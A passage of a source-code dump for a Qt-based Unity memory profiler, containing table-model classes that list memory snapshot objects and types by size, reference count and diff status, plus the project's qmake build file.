16 | return QString::number(size) + " Bytes";
17 | }
18 | }
19 |
20 | // UMPManagedObjectModel
21 |
22 | UMPThingInMemoryModel::UMPThingInMemoryModel(QObject* parent)
23 | : QAbstractTableModel(parent) {}
24 |
25 | int UMPThingInMemoryModel::rowCount(const QModelIndex &) const {
26 | return static_cast(objects_.size());
27 | }
28 |
29 | int UMPThingInMemoryModel::columnCount(const QModelIndex &) const {
30 | return 4;
31 | }
32 |
33 | QVariant UMPThingInMemoryModel::data(const QModelIndex &index, int role) const {
34 | int row = index.row();
35 | int column = index.column();
36 | if (row >= 0 && row < objects_.size()) {
37 | if (role == Qt::DisplayRole || role == Qt::ToolTipRole) {
38 | auto mo = objects_[row];
39 | switch(column) {
40 | case 0: return mo->caption_;
41 | case 1: return static_cast(mo->referencedBy_.size());
42 | case 2: return sizeToString(mo->size_);
43 | case 3:
44 | switch(mo->diff_) {
45 | case CrawledDiffFlags::kAdded:
46 | return "Added";
47 | case CrawledDiffFlags::kSame:
48 | return "Same";
49 | case CrawledDiffFlags::kSmaller:
50 | return "Smaller";
51 | case CrawledDiffFlags::kBigger:
52 | return "Bigger";
53 | default:
54 | return " ";
55 | }
56 | }
57 | } else if (role == Qt::UserRole) {
58 | auto mo = objects_[row];
59 | switch(column) {
60 | case 0: return mo->caption_;
61 | case 1: return static_cast(mo->referencedBy_.size());
62 | case 2: return mo->size_;
63 | case 3: return static_cast(mo->diff_);
64 | }
65 | } else if (role == Qt::BackgroundColorRole) {
66 | auto mo = objects_[row];
67 | switch(mo->diff_) {
68 | case CrawledDiffFlags::kAdded:
69 | return QVariant(QColor(Qt::magenta));
70 | case CrawledDiffFlags::kSmaller:
71 | return QVariant(QColor(Qt::green));
72 | case CrawledDiffFlags::kBigger:
73 | return QVariant(QColor(Qt::red));
74 | default:
75 | break;
76 | }
77 | }
78 | }
79 | return QVariant();
80 | }
81 |
82 | QVariant UMPThingInMemoryModel::headerData(int section, Qt::Orientation orientation, int role) const {
83 | if (role == Qt::DisplayRole) {
84 | if (orientation == Qt::Horizontal) {
85 | switch (section) {
86 | case 0: return QString("Name");
87 | case 1: return QString("Refs");
88 | case 2: return QString("Size");
89 | case 3: return QString("Flag");
90 | }
91 | }
92 | }
93 | return QVariant();
94 | }
95 |
96 | void UMPThingInMemoryModel::reset(const UMPSnapshotType& snapshotType, bool isDiff) {
97 | isDiff_ = isDiff;
98 | beginResetModel();
99 | objects_.clear();
100 | auto size = static_cast(snapshotType.objects_.size());
101 | objects_.reserve(size);
102 | std::copy(snapshotType.objects_.begin(), snapshotType.objects_.end(), std::back_inserter(objects_));
103 | endResetModel();
104 | }
105 |
106 | int UMPThingInMemoryModel::indexOf(const ThingInMemory* thing) const {
107 | for (int i = 0; i < objects_.size(); i++) {
108 | auto object = objects_[i];
109 | if (object == thing)
110 | return i;
111 | }
112 | return -1;
113 | }
114 |
115 | // UMPTypeGroupModel
116 |
117 | UMPTypeGroupModel::UMPTypeGroupModel(CrawledMemorySnapshot* snapshot, QObject* parent)
118 | : QAbstractTableModel(parent), snapshot_(snapshot) {
119 | std::unordered_map> filters;
120 | for (auto& obj : snapshot->staticFields_) {
121 | auto& vector = filters[obj.typeDescription_->typeIndex_];
122 | vector.push_back(&obj);
123 | }
124 | for (auto& obj : snapshot->managedObjects_) {
125 | auto& vector = filters[obj.typeDescription_->typeIndex_];
126 | vector.push_back(&obj);
127 | }
128 | std::unordered_map typeSizes;
129 | for (const auto& pair : filters)
130 | typeSizes[pair.first] = 0;
131 | for (const auto& pair : filters) {
132 | auto& size = typeSizes[pair.first];
133 | for (const auto& obj : pair.second)
134 | size += obj->size_;
135 | }
136 | totalSize_ = 0;
137 | for (std::size_t i = 0; i < snapshot->typeDescriptions_.size(); i++) {
138 | auto& type = snapshot->typeDescriptions_[i];
139 | types_.push_back(UMPSnapshotType());
140 | auto group = &types_.back();
141 | group->type_ = &type;
142 | group->name_ = type.name_;
143 | group->size_ = typeSizes[group->type_->typeIndex_];
144 | group->objects_ = std::move(filters[group->type_->typeIndex_]);
145 | totalSize_ += group->size_;
146 |
147 |
148 |
149 | }
150 | }
151 |
152 | UMPTypeGroupModel::~UMPTypeGroupModel() {
153 | if (snapshot_ != nullptr) {
154 | CrawledMemorySnapshot::Free(snapshot_);
155 | delete snapshot_;
156 | }
157 | }
158 |
159 | int UMPTypeGroupModel::rowCount(const QModelIndex &) const {
160 | return types_.size();
161 | }
162 |
163 | int UMPTypeGroupModel::columnCount(const QModelIndex &) const {
164 | return 4;
165 | }
166 | //row:show memory data
167 | QVariant UMPTypeGroupModel::data(const QModelIndex &index, int role) const {
168 | int row = index.row();
169 | int column = index.column();
170 | if (row >= 0 && row < types_.size()) {
171 | if (role == Qt::DisplayRole || role == Qt::ToolTipRole) {
172 | auto type = types_[row];
173 | switch(column) {
174 | case 1: {
175 | //qDebug("readString = %s",qPrintable(type.name_));
176 | //GlobalLogDef::writeToFile(row,1) ;
177 | // GlobalLogDef::writeToFile(type.name_,0) ;
178 |
179 | return type.name_;
180 | }
181 | case 2: return static_cast(type.objects_.size());
182 | case 3: return sizeToString(type.size_);
183 | case 0: {
184 | //QString str = QString::number(row);
185 | //GlobalLogDef::writeToFile(str,1) ;
186 | // qDebug("readString = %s",row);
187 | return row;
188 |
189 | }
190 | }
191 |
192 | } else if (role == Qt::UserRole) {
193 | auto type = types_[row];
194 | switch(column) {
195 | case 1: {
196 | //qDebug("readString = %s",qPrintable(type.name_));
197 | //GlobalLogDef::writeToFile(type.name_,0) ;
198 | return type.name_;
199 | }
200 | case 2: return static_cast(type.objects_.size());
201 | case 3: return type.size_;
202 | case 0: return row;
203 | }
204 |
205 |
206 |
207 |
208 | }
209 |
210 |
211 |
212 | }
213 |
214 | return QVariant();
215 | }
216 |
217 | QVariant UMPTypeGroupModel::headerData(int section, Qt::Orientation orientation, int role) const {
218 | if (role == Qt::DisplayRole) {
219 | if (orientation == Qt::Horizontal) {
220 | switch (section) {
221 | case 0: return QString("No.");
222 | case 1: return QString("Type");
223 | case 2: return QString("Count");
224 | case 3: return QString("Size");
225 |
226 | }
227 | }
228 | }
229 | return QVariant();
230 | }
231 |
--------------------------------------------------------------------------------
/unitymemperf.pro:
--------------------------------------------------------------------------------
1 | #-------------------------------------------------
2 | #
3 | # Project created by QtCreator 2019-10-28T10:14:41
4 | #
5 | #-------------------------------------------------
6 |
7 | QT += core gui opengl network
8 |
9 | greaterThan(QT_MAJOR_VERSION, 4): QT += widgets
10 |
11 | TARGET = UnityMemPerf
12 | TEMPLATE = app
13 |
14 | # The following define makes your compiler emit warnings if you use
15 | # any feature of Qt which has been marked as deprecated (the exact warnings
16 | # depend on your compiler). Please consult the documentation of the
17 | # deprecated API in order to know how to port your code away from it.
18 | DEFINES += QT_DEPRECATED_WARNINGS
19 |
20 | # You can also make your code fail to compile if you use deprecated APIs.
21 | # In order to do so, uncomment the following line.
22 | # You can also select to disable deprecated APIs only up to a certain version of Qt.
23 | #DEFINES += QT_DISABLE_DEPRECATED_BEFORE=0x060000 # disables all the APIs deprecated before Qt 6.0.0
24 |
25 | CONFIG += c++11
26 |
27 | INCLUDEPATH += $$PWD/include $$PWD/src
28 |
29 | SOURCES += \
30 | src/adbprocess.cpp \
31 | src/detailswidget.cpp \
32 | src/globalLog.cpp \
33 | src/main.cpp \
34 | src/mainwindow.cpp \
35 | src/startappprocess.cpp \
36 | src/remoteprocess.cpp \
37 | src/umpcrawler.cpp \
38 | src/umpmodel.cpp
39 |
40 | HEADERS += \
41 | include/adbprocess.h \
42 | include/detailswidget.h \
43 | include/globalLog.h \
44 | include/umpcrawler.h \
45 | include/umpmemory.h \
46 | include/umpmodel.h \
47 | include/mainwindow.h \
48 | include/startappprocess.h \
49 | include/remoteprocess.h
50 |
51 | FORMS += \
52 | detailswidget.ui \
53 | mainwindow.ui
54 |
55 | # Default rules for deployment.
56 | qnx: target.path = /tmp/$${TARGET}/bin
57 | else: unix:!android: target.path = /opt/$${TARGET}/bin
58 | !isEmpty(target.path): INSTALLS += target
59 |
60 | RESOURCES += \
61 | res/icon.qrc
62 |
63 | RC_ICONS = res/devices.ico
64 | ICON = res/devices.icns
65 |
--------------------------------------------------------------------------------